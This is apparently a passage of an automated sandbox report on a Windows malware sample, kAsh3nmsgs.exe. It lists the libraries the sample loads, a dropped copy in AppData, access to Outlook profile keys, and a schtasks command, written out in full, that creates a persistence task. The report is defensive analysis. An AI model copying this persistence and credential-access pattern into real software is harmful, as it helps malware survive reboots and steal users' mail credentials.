Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Section loaded: windowscodecs.dll

Source: C:\Users\user\Desktop\kAsh3nmsgs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\kAsh3nmsgs.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\kAsh3nmsgs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: kAsh3nmsgs.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: kAsh3nmsgs.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: kAsh3nmsgs.exe

Static PE information: 0xCC1F1A8D [Sat Jul 9 11:07:57 2078 UTC]

Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 0_2_09D53D8B push 69CC4589h; ret	0_2_09D53D96
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 0_2_09D53C0B push 69CC4589h; ret	0_2_09D53C1B
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 0_2_09D536A0 pushfd ; iretd	0_2_09D536A1
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 0_2_0A0426AB pushfd ; retf	0_2_0A0426AD
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 8_2_06A17670 push esp; iretd	8_2_06A17679
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 8_2_06A1B200 push es; ret	8_2_06A1B210
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 8_2_06A17C24 push esp; iretd	8_2_06A17C2D
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 9_2_09883DCF push 69C44589h; ret	9_2_09883DD4
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 9_2_0988F54B push ecx; iretd	9_2_0988F54C
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 9_2_098836A0 pushfd ; iretd	9_2_098836A1
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 9_2_0B2D26A8 pushfd ; retf	9_2_0B2D26AD
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 13_2_06CA7E3A push esi; iretd	13_2_06CA7E3B
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 13_2_06CA2C92 pushad ; ret	13_2_06CA2C93
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 13_2_06CA2AAC push esp; ret	13_2_06CA2AAD
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 13_2_06CA2A52 push esp; ret	13_2_06CA2A53
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 13_2_06CA28E8 push eax; ret	13_2_06CA28E9
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 13_2_06CAF9B0 pushad ; ret	13_2_06CAF9B1
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 13_2_06D97670 push esp; iretd	13_2_06D97679
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 13_2_06D97C24 push esp; iretd	13_2_06D97C2D

Source: kAsh3nmsgs.exe	Static PE information: section name: .text entropy: 7.744400724877213
Source: HHhSyZN.exe.0.dr	Static PE information: section name: .text entropy: 7.744400724877213

Source: C:\Users\user\Desktop\kAsh3nmsgs.exe

File created: C:\Users\user\AppData\Roaming\HHhSyZN.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\kAsh3nmsgs.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HHhSyZN" /XML "C:\Users\user\AppData\Local\Temp\tmp4794.tmp"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

